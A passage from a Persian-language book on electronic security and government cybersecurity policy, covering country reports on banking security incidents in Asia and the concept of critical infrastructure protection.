عمدة مشكلاتي كه چين در زمينة امنيـت الكترونيكـي بـا آن     

 براي ارزيـابي   باشد فقدان آگاهي و توانايي مديريتي    مواجه مي 
ايـن  . است) بخصوص با توجه به ماهيت پيچيدة فناوريها      (مخاطرات  
 كشور چين بدليل همكـاري ضـعيف ميـان مراكـز            مشكل در 

  .قانونگذاري و مراكز نظارتي تشديد هم شده است

عليرغم اوضاع نامساعد امنيتـي، بانكهـاي اينترنتـي در چـين            
تعـداد ايـن بانكهـا در خـلال         . بسرعت درحال رشـد هـستند     

 از يك به بيست و هفت رسيده و نيز          ۲۰۰۳ تا   ۱۹۹۹سالهاي  
به .  برابر رشد داشته است    ۱۰۰بيش از   حجم فعاليتهاي بانكي    

اين نكته اشـاره شـد كـه در زمـان شـيوع بيمـاري سـارس،                 
نهايتـاً كـشور چـين      . بانكداري اينترنتي رونق زيادي پيدا كرد     

  :پيشنهادهاي زير را ارائه داد

  المللي تشويق اشتراك اطلاعات در سطوح ملي و بين .۱
 يكيايجاد استانداردهاي بين المللي امنيت الكترون .۲
 افزايش شفافيت در بانكداري الكترونيكي .۳

  كنگ، هنگ چين

هاي الكترونيكي جعلي، ويروسها، و كرمها        كنگ، نامه   در هنگ 
در كنار اين مسائل نحوة رفتـار مهـاجمين         . بسيار رايج هستند  

در اين كـشور بجـاي هـدف قـرار          . هم دچار تغيير شده است    
 -مـشتري    يعنـي    -گرفتن مستقيم بانكها، ضعيفترين حلقـه       

مورد حمله قرار گرفته است و لـذا آمـوزش مـشتريان بـسيار              
  .حياتي است

اتفاقي كه اخيراً در يك پايگاه وب متعلق به يك بانك جعلي            
ايـن بانـك در     . روي داد، مشكلات امنيتـي را آشـكارتر كـرد         

پايگاه وب، يك آدرس پستي ناقص قرار داده بود و از گواهي            
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، و همچنـين ادعـا داشـت كـه          كرد  ديجيتال هم استفاده نمي   
دفاتري در نيويورك و نقاط ديگر دارد؛ اما در بازرسيها معلـوم            

و هـم  ) شـد كـه در چـين ميزبـاني مـي    (شد كه هم آن پايگاه وب       
اين واقعه بار ديگر نياز حيـاتي       . بانك مورد ادعا جعلي هستند    

به همكاريهاي فرابخشي را آشكار كـرد، بخـصوص بـه ايـن             
 جرائم سايبر، خود بصورت فرابخشي عمـل  دليل كه تبهكاران  

  .كنندمي

كنگ درحال تهية مقدماتي براي ايجاد بسترهاي       كشور هنگ 
نظارت بر مـشتريان و آمـوزش بـه آنهـا اسـت، مثـل انتـشار                 
راهنماهايي بـراي افـزايش آگـاهي عمـومي در ابعـاد حيـاتي         
امنيت الكترونيكي و اعلان هشدارهايي براي مقابله با جـرائم          

براي ارتقاي امر نظارت در امنيت الكترونيكي، ايـن         . ايهرايان
 رابطـة نزديكـي دارد و بـراي         ٢٤٠كنندگان دامنه   ثبتكشور با     

 از فرآيندي خودكار استفاده     (hk.)كنترل نامهاي دامنة محلي     
  يا هر شكل ديگـر آن در نـام دامنـه          " بانك"اگر واژة   : كند  مي

رسـي بـه مراجـع      بكار رفته باشد، موضوع بلافاصـله بـراي بر        
نيروهاي پليس، مركز فوريتهاي    . شودذيصلاح ارجاع داده مي   

كنـگ هـم بـراي ايجـاد         اي، و نيز دولـت هنـگ      امنيت رايانه 
قابليت واكنش سريع به رخـدادها، بـا نهادهـاي مختلفـي در             

ــين ــدســطوح ب ــر . المللــي همكــاري دارن سيــستم نظــارت ب
 ـ۸۰ تا   ۷۰ در چيزي حدود     ٢٤١)CSA (خودارزيابي ك وجـود   بان

دارد و بدليل مشكلات خاص ارزيابي سالانه، اين ارزيابي نيـز           
  .شود بصورت خودكار انجام مي

  جمهوري كره

با اينكه كره نتوانست در اين بحث جهاني شركت كند، اما بـه    
آنها اشـاره   . سؤالات مطرح شده توسط بانك جهاني پاسخ داد       

اي   فتههاي اطلاعاتي پيـشر     كردند كه اگرچه كره داراي شبكه     
  در كـره  . است، اما سطح امنيت آنها هنوز جا بـراي ارتقـا دارد           

شود و حدود     معاملات بورس بصورت اينترنتي انجام مي     % ۶۵
رخـدادهاي اخيـر   .  كننـد   ميليون نفر از اينترنت استفاده مي  ۲۵

 تـأثيرات    ۲۰۰۳ در ژانويـة     Slammerمثل آسـيبهاي كـرم      
هـا را آشـكار       كهشديدي در كره داشت و طبيعت شكنندة شـب        

  . كرد
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كره آماري ارائه كرد كه نمايانگر سطح پايين آگاهي افـراد در            
بـه گفتـة وزارت اطلاعـات و        . خصوص ايمنـي سيـستم بـود      

% ۱۶،۷،  شركتهاي تجارت الكترونيكـي % ۱۲،۹، تنها     ارتباطات
سـازمانهاي ديگـر داراي بخـشي       % ۹،۲مؤسسات آموزشي، و    

ه اشـاره كـرد كـه امنيـت         كـر .  براي امنيت اطلاعات هـستند    
الكترونيكي از ديد بسياري از شركتها بعنوان يك هزينة مبهم          
است كه تنها بـا تخـصيص منـابع و زمـان كـافي بـه انجـام                  

شـركتهاي تجـارت    % ۱۲،۹ تنها حـدود      بعنوان مثال . رسد مي
تمام شركتها در اين كشور براي حفاظـت       % ۶،۱الكترونيكي و   

  .كنندب استفاده مييا از خود از سيستمهاي مهاجم

  سريلانكا

نمايندة سريلانكا بيان داشـت كـه در آن كـشور تهديـدهايي             
سيم وجود دارد امـا مقامـات         پذيريهاي بي   مثل كرمها و آسيب   

سريلانكا تا كنـون هـيچ گزارشـي درخـصوص حمـلات بـه              
 سال ۲۰اين كشور حدود  .  اند  سيستمهاي بانكي دريافت نكرده   

هرچنـد  . كنـد   رداز اسـتفاده مـي    است كه از دستگاههاي خودپ    
بانكداري الكترونيكي در سريلانكا در ابتداي راه است امـا بـه            

تبـادل سـهام و پـول بـصورت      . باشـد سرعت درحال رواج مي   
اينترنتي قابل انجام است، اما اينگونه امكانـات نيـز هنـوز در             

درحـال حاضـر در سـريلانكا       . مراحل اولية توسعة خود هستند    
هاي كاربري و رمزهاي  منيتي، سرقت شناسه  مهمترين رخداد ا  

براي مؤسسات خـدمات مـالي، سـطح آگـاهي از           . عبور است 
مخاطرات يك مسئله كليدي است و همچنين مخاطرات بايد         

 .به دقت ارزيابي شوند

  امنيت سايبر در بخش مالي سنگاپور

ادارة امـور    مدير نظارت بر مخاطرات فنـاوري در         ٢٤٢توني چو 
 مروري اجمالي بر مقـدمات امنيـت        ٢٤٣(MAS) پولي سنگاپور 
وي بحث خود را با بيان اين مطلـب آغـاز كـرد             . سايبر داشت 

به مؤسسات آگاهي دهد، "كه مسئوليت بخش او اين است كه      
آنها را تحت نظارت قرار دهد، و يا نسبت به آنهـا سـختگيري    

المللي خـدمات   كوشد تا به يك كانون بين       سنگاپور مي ". نمايد
شود و به همـين دليـل موضـوع امنيـت فنـاوري        مالي تبديل   

  .اطلاعات براي آن از اهميت خاصي برخوردار است

                                                                  
242  Tony Chew 
243  Monetary Authority of Singapore 
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 توسط  ۲۰۰۲ و   ۲۰۰۱بزرگترين بانكهاي سنگاپور در سالهاي      
نفوذگران مورد حمله قرار گرفتند؛ كه اين امر نشاندهندة نيـاز           
فوري اين كشور بـه راهبردهـاي كـاهش مخـاطرات امنيتـي        

 وجـود   (UOB) سنگاپور    بزرگترين بانك  ۲۰۰۱در سال   . است
. يك نفوذگر را در سيستم اينترنتي بانكداري خود كشف كـرد          

با اينكه بيشتر اطلاعات مربوط به اين رخداد محرمانـه بـاقي            
گرهايي از اروپاي شرقي به سيستم        ماند، اما معلوم شدكه نفوذ    

هاي بانـك مـورد بررسـي قـرار         داده. بانكي حمله كرده بودند   
روزآوري حـساب مـشتريان          و سيستم بانكي جهـت بـه       گرفت

تنها چند ماه طول كشيد تا متخصصين اصل        نه. دستكاري شد 
مشكل را بيابند، بلكه تلاش زياد و هزينة گزافي صرف شد تا            
كشف شود كه چه كـساني و يـا چـه چيزهـايي عوامـل ايـن                 

  .اند مشكل بوده

نگاپور ، حملة ديگري به دومين بانك بزرگ س ـ       ۲۰۰۲در سال   
(DBS)ــدليل  .  صــورت گرفــت ــوذگران ب ــداد نف ــن روي در اي

قابليتهاي اشتراكي شـبكه و پيكربنـدي نامناسـب سيـستمها           
نفـوذگران  . توانستند سيستمهاي مشتريان را هدف قرار دهنـد       

 ۲۱كليد را در حسابهاي     هاي صفحه كنندهاسبهاي تراوا و ثبت   
اد تـا شـمارة     د  مشتري بانك تعبيه كردند كه به آنها اجازه مي        

 و شمارة شناسايي كـاربري را بدسـت         (PIN)شناسايي فردي   
 دلار بــه حــسابهاي ۶۲,۰۰۰ايــن حادثــه ســبب شــد . آورنــد

مشتريان ضرر وارد شود، اما نكتة قابـل توجـه آن اسـت كـه               
تأثير منفي اين رخداد در افكار عمومي بسيار بيش از اين بود؛            

 ايـن خـصوص     هاي كشور به مـدت يكمـاه در         چراكه روزنامه 
تواننـد بـه بحـران      امثـال ايـن رخـدادها مـي       . مطلب نوشـتند  

اعتمادي مردم به سيـستمهاي بانكـداري اينترنتـي منجـر            بي
  .شوند

ضعف اساسي كه در تمام اين رخدادها تأثير داشـت          يك نقطه 
اكنون نيز بيـشتر    هم. عاملي بود استفاده از تصديق هويت تك    

يار اولية تصديق هويـت     پرداز از روشهاي بس     دستگاههاي خود 
توانـد    كنند، و تنها يك يا دو حادثة دهشتناك مـي           استفاده مي 

همچنين نوعي  . بانكها را به تجديد نظر در اين روند وادار كند         
 وجود دارد؛ اما    SSLاعتماد و اطمينان بيش از حد به فناوري         

آورد بسيار محـدود اسـت، چراكـه     بوجود مي SSLامنيتي كه   
كند، و نه در      نتقال اطلاعات از آنها حفاظت مي     تنها در خلال ا   
سازي   هاي ذخيره   پايگاههاي داده و ديگر رسانه    . مبدأ يا مقصد  

شـده باشـند تـا امنيـت آنهـا          بايد هميشه بصورت رمزگـذاري    

ها نيز بايد از رمزنگاري قوي استفاده       PINبراي  . تضمين شود 
هـا كوچـك    PINشود؛ اما اين به تنهايي كافي نيست، چـون          

  .توانند آنها را دريافت كنندستند و نفوذگران براحتي ميه

ادارة امــور پــولي ســنگاپور بــراي مؤســسات خــدمات مــالي  
 توصـيه در    ۲۶شامل  " راهبردهاي مديريت مخاطرات فناوري   "

سه دستة اصـلي ايـن      . اي تدوين كرد    زمينة ايجاد امنيت لايه   
  :راهبردها عبارتند از

 ديريت مخاطرهايجاد يك فرآيند مستحكم براي م .۱
 تقويت قابليت دسترسي، امنيت، و قابليت بازيابي .۲
 هااستفاده از رمزنگاري قوي براي حفاظت از داده .۳

، ادارة امور پـولي       علاوه بر تدوين سياستهايي در مورد فناوري      
سنگاپور بانكها را ملزم به انجام حداقل سـالي يكبـار آزمـون             

 داراي يـك تـيم      ايـن اداره  . نفوذ و ارزيابي محيط كـار نمـود       
بنـدي  ارزيابي مخاطرات فناوري و يك سيـستم بـراي درجـه          

بانكها در سيستم اقتصادي سنگاپور است؛ كه بر مبناي شـش     
معيار كه توسط ادارة امور پولي سـنگاپور تعيـين شـده انجـام              

اين معيارها، مؤسسات را از لحاظ ميـزان ايمنـي بـه            . گيرد  مي
تـرين و     نـشانگر امـن    ۱كنند كه شـمارة       پنج دسته تقسيم مي   

بانكها ملزم هستند كـه     . ترين آنها است   نشانگر ناامن  ۵شمارة  
 دست يابند، و علاوه بـر آن        ۲در اين ارزيابي حداقل به درجة       

بايد براي سيستم خود طرح بازيابي و ترميم سريع نيز داشـته            
براي ايجاد انگيزة پيشرفت در امنيـت بانكهـا و القـاي            . باشند

بندي بـصورت عمـومي     سازي، نتايج اين درجه   حس استاندارد 
علاوه بر اين بانكها ملزم به گزارش هرگونـه         . شود  منتشر مي 

  .باشندرخداد امنيتي نيز مي

بـــا افـــزايش اســـتفاده از دســـتگاههاي ســـيار پرداخـــت،  
سـيم نيـز بايـد مـورد توجـه قـرار               بي  پذيريهاي فناوري  آسيب
سـيم   كـداري بـي   درحال حاضر تجربيات امنيتـي در بان      . گيرند

  .سنگاپور همچنان تحت بررسي هستند

  بندي سؤالات و پيشنهادات جمع
ها و پرسشهاي پاياني شامل نقاط كليدي ايـن سـمينار           توصيه

  . جهاني بود

حـال   رساني و آگاهي در آموزش عموميِ نيازهاي        اول، اطلاع 
قـوانين دولتـي مثـل    . كنـد  حاضر امنيتي نقشي حياتي ايفا مي  
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تنها درصورتي مفيد هستند    "  فعاليتهاي مشكوك  الزام گزارش "
  .كه به مرحلة اجرا در آيند

دوم، شفافيت و انتشار اطلاعات رخدادها براي ارتقـاي سـطح           
بـه ايـن نكتـه      . ايمني سيستمهاي آينده اهميـت زيـادي دارد       
تواند مضر باشـد،      اشاره شد كه گاهي پوشش خبري وقايع مي       

. پذيرنـد ات تـأثير مـي    چراكه مشتريان در هرصورت از مطبوع     
. درعــوض شــركتها بايــد وضــعيت را بــسرعت اصــلاح كننــد

پرداختن به مشكل با ايجاد يك طـرح عمليـاتي، راه بهتـري             
اي كـه در    سؤال عمـده  . براي مقابله با يك نفوذ امنيتي است      

آيد اين است كه در چه حدي و در چه زمـاني            اينجا بوجود مي  
ر بخشهاي ديگر اين كتاب     د. بايد اين اطلاعات را منتشر كرد     

  .در اين زمينه راهكارهايي ارائه شده است

كننـده بـه لـزوم همكاريهـاي         ، بيشتر كشورهاي شـركت      سوم
يكي از بخشهايي كه همكاري در آن       . فرابخشي تأكيد داشتند  

در . هاي اعطاي گواهينامه هـستند      مثمر ثمر خواهد بود برنامه    
افزاري همكاري نماينـد     اين قسمت سازمانها بايد با جامعة نرم      

، يكـي از    EBG. تا نيازهاي امنيتي هر بخش مشخص شـود       
 كه يك InfraGardرساني و نيز  هاي ارتباطي و اطلاع  شبكه

 اسـت دو نمونـه از       FBI عمومي متعلق بـه      -شبكة خصوصي 
 تمامي زيرساختهاي   InfraGard. اين قبيل مؤسسات هستند   

هدف اين  . ضو دارد  ع ۱۰,۰۰۰گيرد و حدود    حياتي را در بر مي    
سازمان ايجاد اعتماد و تشويق اشتراك اطلاعات ميان اعـضا          

تواند بعنوان مثالي از نحوة ايجاد ارتباط       اين سازمان مي  . است
  . درنظر گرفته شودفناوري اطلاعاتدر حوزة امنيت 

چهارم، براي بوجود آمدن نوعي تعهد در امنيـت الكترونيكـي،          
ن شــوند؛ و لــذا تــدوين يــك نقــشها و مــسئوليتها بايــد تعيــي

استاندارد مراقبت و انجام وظايف امانتداري براي سـازمانهاي         
عنـاوين  . اقتصاد الكترونيكي يكي از مسائل بسيار مهم اسـت        

هـا و تراكنـشها، اعتمـاد         مباحث اين موضوع عبارتند از سپرده     
  .عمومي، و اطمينان سيستمهاي خدمات مالي

ز سازمان يكي از نگرانيهـاي      سرانجام استفاده از منابع خارج ا     
اي از مشكلات موجود در اين        نمونه. كنندگان بود   مهم شركت 

 رخ داد؛ هنگاميكه يك شـركت خـدمات       ۲۰۰۱زمينه در سال    
ميزبــاني وب در ايــالات متحــده مــورد نفــوذ قــرار گرفــت و 

جزئيـات  . دار شـد   بانـك خدشـه    ۳۰۰درنتيجه امنيت بيش از     
توان در  ابع خارج از سازمان را مي     بيشتر در زمينة استفاده از من     

بخشهاي ديگر ايـن كتـاب و سـاير منـابعي كـه در قـسمت                
  .ضمائم به آنها اشاره شده پيدا كرد

ــراي قانونگــذاران و در خاتمــه خاطرنــشان مــي كنــيم كــه ب
خصوصاً در زمينة انتقال پـول      (بازرسان، ارزيابي مجدد چتر تقنيني      
امري بسيار حياتي   ) ني وب توسط اشخاص ثالث، مثل شركتهاي ميزبا     

  .است
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  فصل اول
  مقدمه

، در مقولـه امنيـت      نترنتيا رگذار بر يهاي تأث   نهير زم يسامشابه  
ايفـا   دولـت نقـش مهمـي        هاياسـت يسنيـز   فناوري اطلاعات   

بايد با احتياط اظهار نظر كـرد،       ن مورد   ينحال در ا  يا با. كند  مي
ت را  ي ـامنتوانـد   مـي  تاس ـيچوب عمـومي س   رك چـا  ي چراكه
دولتـي   درسـت مقررات نا اشكالاتي كه در اثر      اما   ؛ت كند يتقو

 فنـاوري .  چنين مقرراتـي اسـت     يايش از مزا  يبآيد  بوجود مي 
جديد بـا چنـان      ١سايبر تهديداتبسرعت درحال تغيير است و      

تواننـد  يابند كه مقررات دولتي براحتـي مـي         سرعتي انتشار مي  
. تبديل به موانعي براي ارائه سريع پاسخهاي مبتكرانـه شـوند          

بنابراين بهترين راه اين است كه ميـان معيارهـاي تقنينـي و             
بـراي دسـتيابي بـه      . نقطة تعادل پيـدا كنـيم     غير تقنيني يك    

چنين تعادلي، سياستگذاران بايد به برخي ويژگيهـاي ذاتـي و           
در مقايسه بـا فناوريهـاي      . منحصر به فرد اينترنت توجه كنند     

 يك فـضاي غيـر      ٢فضاي سايبر اطلاعات و ارتباطات پيشين،     
بخشي از قدرت اينترنت ناشي از ايـن حقيقـت          . متمركز است 

باشد و بيشتر كـارايي آن در مرزهـاي        اقد دربان مي  است كه ف  
سياستهاي امنيت سايبر دولت بايد     . شبكه است تا در مركز آن     

در ايـن فـصل     . اين ويژگيهاي اينترنت را مد نظر قـرار دهنـد         
توانند با اسـتفاده از       اند كه دولتها مي     سلسله گامهايي ذكر شده   

هاي خـود     يانهآنها و مستقل از تصميمگيريهاي فني، امنيت را       
  ٣.را ارتقا دهند

با اينكه اين مسئله از كشوري به كشور ديگر متفـاوت اسـت،             
هـاي    در بسياري از كشورها يك جزء يا تمامي اجزاي شـبكه          

ارتباطي و بسياري از زيرساختهاي مهم و حساس كـه مبتنـي         
بانكـداري، حمـل و نقـل، انـرژي،         (اي هستند     بر سيستمهاي رايانه  

حت تملـك و عملكـرد بخـش خـصوصي قـرار            ت) توليد و غيره  

                                                                  
1  Cyber Threats 
2  Cyberspace 

  :براي اطلاعات بيشتر به پايگاههاي زير مراجعه كنيد   ۳
http://www.abanet.org/abapubs/books/cybercr
ime 
http://www.isn.ethz.ch/crn 

 بنابراين قسمت اعظـم مـسئوليت كـسب اطمينـان از            ٤.دارند
عليرغم . امنيت اين سيستمها وابسته به بخش خصوصي است       

اين مسئله، وجود و كارايي سيستمهاي اينچنيني بـراي رفـاه           
ملي ضروري است و معمولاً كاربرد آنها در مواقعي است كـه             

شود و لذا دولت به آن توجه زيادي        ري مي از آن استقبال بيشت   
اي خـاص خـود را        دولتها معمولاً سيستم رايانه   . دهدنشان مي 

هـايي كـه بـراي امنيـت ملـي، خـدمات              دارند؛ از جمله رايانه   
اضــطراري، بهداشــت و ســاير عملكردهــاي ضــروري مــورد  

هاي ارتباطي خصوصي     گيرند و غالباً به شبكه      استفاده قرار مي  
ــسته ــد واب ــه . ان ــستمهاي رايان ــسياري از سي ــوع ب اي  در مجم

شركتهاي خصوصي و سازمانهاي دولتـي وابـسته بـه همـان            
افزارهايي هـستند كـه توسـط شـركتهاي           افزارها و سخت    نرم

اند و لذا مسئله امنيت در آنهـا          خصوصي طراحي و ساخته شده    
  .يكي از مسائل قابل توجه است

 ايـن سيـستمها     بواسطة تمامي اين دلايل، مـسئوليت امنيـت       
بعنـوان  . ميان دولت و بخش خـصوصي تقـسيم شـده اسـت           

را بر  " تنظيم امور مربوط به خود    "اولويت اول، دولت مسئوليت     
عهده دارد؛ يعني بايد روشهاي صحيح امنيتي را براي ارتقـاي           

بعلاوه از لحاظ جهـاني     . ايمني در سيستمهاي خود بكار گيرد     
 و پيـشگيري از     مشخص شده كه دولت بايـد بـراي مجـازات         

ــل    ــستمهاي بخــش خــصوصي، مث ــه سي انجــام حمــلات ب
. سيستمهاي دولتي از قدرت قوانين حقوق و جزا كمك بگيرد         

اند كه بـراي   فراتر از آن بسياري از دولتها به اين نتيجه رسيده    
اي در بخـش خـصوصي        ارتقاي روالهاي تأمين امنيـت رايانـه      

 تلاش بـراي    اين. بايد مسئوليتهاي مضاعفي را متحمل شوند     
اين است كه سياستهايي توسط دولت اتخاذ شـود كـه باعـث             

هاي فناوري مجـال ظهـور ابتكـارات و         نشوند قوانين و برنامه   
نوآوريها را بگيرند، بلكـه درعـوض منجـر بـه حـداكثر شـدن            

در يـك فـضاي     . مزاياي دخالت دولت در ايـن مـوارد گردنـد         
  :شود همكاري، نقطه تعادلي به قرار زير يافت مي

فشار بازار كار كه شركتهاي خصوصي را بسوي امنيـت           •
كند تـا سـود بيـشتري       اي ترغيب مي    سيستمهاي رايانه 

 كسب كنند؛

                                                                  
اي كـاملاً جديـد اسـت، و        سازي مسئله در بعضي كشورها خصوصي      ۴

 اين به آن معنـا اسـت كـه كـاربران، قانونگـذاران، و سياسـتگذاران               
ــا        ــرتبط ب ــنتي م ــشكلات س ــاملي از م ــف ك ــا طي ــه ب درحاليك

سازي دست به گريبان هستند، بتازگي با مشكل امنيت نيز           خصوصي
  .كنند دست و پنجه نرم مي

https://telegram.me/karnil
www.karnil.com
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 سازي؛ تحقيقات دولتي و آگاه •
هـاي    هـاي شـبكه     اي كـه از رايانـه       قوانين جرائم رايانه   •

 كنند؛  دولتي و خصوصي حمايت مي
 اند؛ واي شده مفاهيم قوانين سنتي كه وارد محيط رايانه •
قوانين، مقررات و سياستهاي دولتـي كـه خـصوصاً بـر             •

 .انداي تمركز يافته ارتقاي امنيت رايانه

توان جزئي از موضـوع       را مي " اي  سياست امنيت رايانه  "مفهوم  
" نقش قانون در گسترش اعتماد اينترنتـي      "تري به نام      گسترده

ايجاد يـك محـيط قابـل اطمينـان در فـضاي            . مشاهده نمود 
ها    نيازمند تطبيق قوانين و سياستهاي دولتي ساير زمينه        سايبر

حمايـت از  هـا شـامل    ايـن زمينـه  . بر حوزة امنيت سايبر است    
حقـوق  ،  ٦هـا و ارتباطـات      خصوصي ماندن داده  ،  ٥كننده  مصرف

در . باشـد    مي ٨چارچوب تجارت الكترونيكي   و   ٧مالكيت معنوي 
ــاملات تجــاري و    ــراي مع ــانون ب ــت، ق ــدون اينترن ــاي ب دني

قسمت اعظـم ايـن     . كند  كنندگان حمايتهايي ايجاد مي     مصرف
قوانين در حوزة فضاي سايبر نيـز قابـل اعمـال هـستند، امـا               
كشورهايي كه بدنبال گسترش فناوري اطلاعات و ارتباطـات         

)ICT (           هستند بايد اين مسئله را بررسي كنند كه آيا در قوانين
زم بـراي   آنها خلأيي وجـود دارد كـه مـانع ايجـاد اعتمـاد لا             

ــا خيــر  در حقيقــت . افــزايش امنيــت فــضاي ســايبر شــود ي
 تجـارت الكترونيكـي   مند بـه گـسترش      كشورهايي كه علاقه  

هستند ممكن است دريابند كه قوانين آنهـا در مـورد خـدمات          
كننـده از اعتمـاد يـا     مالي، مالكيت سايبر و حمايت از مـصرف       

برخوردار پشتيباني لازم براي تعاملات خارج از دنياي اينترنت         
اصلاح قوانين دنياي سايبر ممكن است بعنوان بخشي        . نيست

تمركز اين كتـاب  . تر انجام شود از اصلاحات روي قوانين كلي    
روي آندسته از قوانين و سياستهايي اسـت كـه مـستقيماً بـه              

اي اشـاره دارنـد       شـده روي سيـستمهاي رايانـه      حملات انجام 
و سـؤالات در    ) انـد   ذكر شده برخي از آنها در بخش سوم و نيز ضمائم          (

چارچوب عملكـرد وسـيعتر فنـاوري اطلاعـات و ارتباطـات و             
  ٩.كند را به منابع ديگر واگذار ميتجارت الكترونيكي

                                                                  
5  Consumer Protection 
6  Data & Communications Privacy 
7  Intellectual Property Rights 
8  E-Commerce Framework 

 اوليه اينترنت جهاني يك بخش براي تمـام طيـف           در سياستگذاري    ٩
 .گذارند وجود داردتأثير مي ICTمسائل امنيتي كه بر توسعة 

اين بخش علاوه بـر توضـيح مقـدماتي در مـورد كـشورهاي              
هـا و سياسـتهايي كـه         درحال توسعه، به شرح جزئيات برنامـه      
يافته و سـازمانهاي   سعهمطابق قوانين بسياري از كشورهاي تو  

نكات مطـرح شـده بـا دقـت         . پردازد  چندمليتي هستند نيز مي   
با اينحال تمركز بـر منـابع و        . اندروزرساني شده قابل قبولي به  

المللي نبايد سـاير      يافته و مراكز بين     مدلهاي كشورهاي توسعه  
  هاي جهان را از انجـام مطالعـات بيـشتر در ايـن مـورد                 كشور

ر مهم است كه تمامي كشورها توسعه پيدا كنند،         بسيا. باز دارد 
 ١٠امنيت الكترونيكي پيشرفت نمايند و چارچوب مناسبي براي       

منـابع مـالي و انـساني در دسـترس، متفـاوت            . خود برگزينند 
هستند و كشورهاي درحال توسعه بايد در سطح ابتدايي با اين      

شـده در اينجـا كـاربرد       موضوع برخورد كنند؛ اما اصول گفتـه      
هميشه بايد به ياد داشـت كـه فـضاي سـايبر و             . هاني دارد ج

  .امنيت سايبر محدود به مرزهاي كشورها نيستند

  مفهوم زيرساختهاي حياتي
در تعدادي از كشورها روالهاي واكنشي دولـت بـه مـشكلات            

.  نـام گرفتـه اسـت      ١١زيرسـاختهاي حيـاتي   هـا     امنيتي رايانـه  
ــبكه  ــاتي، ش ــاخت حي ــرمايه زيرس ــاي فيز اي از س ــي و ه يك

 يـا رفـاه يـك        سيستمهايي است كه نقش بسزايي در اقتـصاد       
بعنوان مثال شبكة خدمات مالي يـك زيرسـاخت    . كشور دارند 

حياتي است كـه شـامل تمـامي بانكهـاي خـصوصي، بانـك              
مركزي، بازارهاي مبادلات كالا، سـازمانهاي تبـادل چـك، و           

هايي كه درگيـر خـدمات مـالي و اعتبـاري هـستند        ديگر نهاد 
تقريباً در تمامي كشورهاي جهـان ايـن عمليـات بـا            . شود  مي

شـبكة حمـل و نقـل نيـز         . گيـرد  ها انجام مي    استفاده از رايانه  
هـا، پلهـا، كانالهـا،      زيرساخت حياتي ديگري است كه از جـاده   

زيرسـاخت  . آهن و فرودگاهها تـشكيل شـده اسـت          خطوط راه 
د حمل و نقل غالبـاً فيزيكـي و مكـانيكي اسـت؛ امـا عملكـر               

انداختن   صحيح چراغهاي راهنمايي، باز و بسته كردن پلها، راه        
قطارها و كنترل ترافيـك هـوايي همـه و همـه بـه عملكـرد                

  .ها بستگي دارندصحيح رايانه

هيچ تعريف مشخصي براي گروههـاي زيرسـاختهاي حيـاتي          
ــط      ــه توس ــاتي ك ــاخت حي ــت زيرس ــدارد و فهرس ــود ن وج

 ـ      سياستگذاران بكار مـي    ه كـشور ديگـر و از       رود از كـشوري ب

                                                                  
10  E-Security 
11  Critical Infrastructures 
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 امنيت فناوري اطلاعات و سياستهاي دولتي: بخش چهارم  ٢٣٣

ش
بخ

 
رم
چها

  

اسـتراتژي امنيـت سـايبر      . زماني تا زمان ديگر متفاوت اسـت      
 به چـاپ    ۲۰۰۳دولت ايالات متحدة آمريكا كه در فوريه سال         

  : ســازد  گــروه زيرســاخت حيــاتي را مــشخص مــي۱۳رســيد، 
  بهداشـت عمـومي،    ) ۴آب،  ) ۳تغـــذيه،   ) ۲كشـــاورزي،  ) ۱
  دفـــاعي، صـــنايع ) ۷دولـــت، ) ۶خـــدمات اضـــطراري، ) ۵
حمل و نقـل،    ) ۱۰انرژي،  ) ۹اطلاعات و ارتباطات راه دور،      ) ۸
مـواد شـيميايي و پرخطـر، و        ) ۱۲بانكداري و امور مالي،     ) ۱۱
 در مقايـسه بـا مـوارد ذكـر          ١٢.خدمات پستي و كشتيراني   ) ۱۳

شده، استراتژي حمايت از زيرساختهاي حياتي كانـادا تنهـا از           
انـرژي و   ) ۳دولـت،   ) ۲ ارتباطـات، ) ۱: بردشش گروه نام مي   
كـه در كانـادا شـامل خـدمات مـالي،           (خدمات  ) ۴صنايع همگاني،     

 ١٣.حمـل و نقـل    ) ۶امنيـت، و      ) ۵،  )توزيع غذا، و بهداشـت اسـت      
تعريف زيرساختهاي حيـاتي در يـك كـشور، بـه انـدازة درك       

  ١٤.مفهوم زيرساختهاي حياتي، حائز اهميت نيست

دي حـائز اهميـت     مفهوم زيرساختهاي حياتي بـه دلايـل زيـا        
كند كـه چـرا       اول، به روشن شدن اين مسئله كمك مي       . است

كننـد كـه      اگر سياستگذاران درك    . اي مهم است    امنيت رايانه 
ها پول در بانكهـا غيـر قابـل پرداخـت             درصورت خرابي رايانه  

باشـند و حتـي آب        شود، قطارها قادر به ترك ايستگاه نمي        مي
هتر خواهند توانـست آثـار      آشاميدني پمپ نخواهد شد، آنگاه ب     

دوم، گروههــاي . ناشــي از مــشكلات امنيتــي را درك كننــد 
ــه تعريــف    ــد كــه ب ــه ايــن دليــل اهميــت دارن زيرســاختي ب

كننـد و جـوامعي بـا علايـق           مسئوليتهاي جوامع كمـك مـي     
مشترك كه براي ارتقاي امنيت نياز به همكـاري بـا يكـديگر            

ن صـنعت بـرق و      بعنوان مثال صنعتگرا  . آورند دارند بوجود مي  
توانند با مشاركت يكديگر نقـش مثبتـي          مستشاران دولتي مي  

معيارهـاي  . پذيريهاي سيستم برق داشته باشـند       در رفع آسيب  

                                                                  
12  The National Strategy to Secure Cyberspace 

[U.S.] 
http://www.whitehouse.gov/pcipb 
http://www.dhs.gov/interweb/assetlibrary/Natio
nal_Cyberspace_Strategy.pdf 

13  Office of Critical Infrastructure Protection & 
Emergency Prepareness [Canada] 
http://www.ocipep.gc.ca/home/index_e.asp 

براي دستيابي به جزئيات واكنشهاي كشورهاي مختلف بـه مـسئله               ۱۴
ــي  ــي مـ ــاختهاي اساسـ ــت از زيرسـ ــاب  توا حفاظـ ــه كتـ ــد بـ نيـ

International Critical Information Infrastructure 
Protection Handbook ايـن كتـاب در مركـز    . مراجعه كنيد

مطالعات امنيت و تحقيقات تداخل مؤسسه فناوري دولـت سـوئيس           
  :به انجام رسيده است

http://www.isn.ethz.ch/crn 

 و  ١٥الگوهـاي سـرآمدي   اي از جملـه شناسـايي         امنيت رايانـه  
توانـد    پذيريها تا حدودي مـي      اشتراك اطلاعات در مورد آسيب    

. يِ موجود بكار رود   در محدوده مؤسسات و خطوط توليد صنعت      
هاي تجاري،    اين مؤسسات در بخش خصوصي شامل اتحاديه      

شركتهاي اسـتاندارد و سـاير شـركتهاي نظـارت بـر صـنايع              
اكثر كشورها در بخش دولتـي سياسـتهاي        . باشند  مختلف مي 

هـا و سـازمانهاي نظـارتي     امنيت سايبر را از طريق وزارتخانـه   
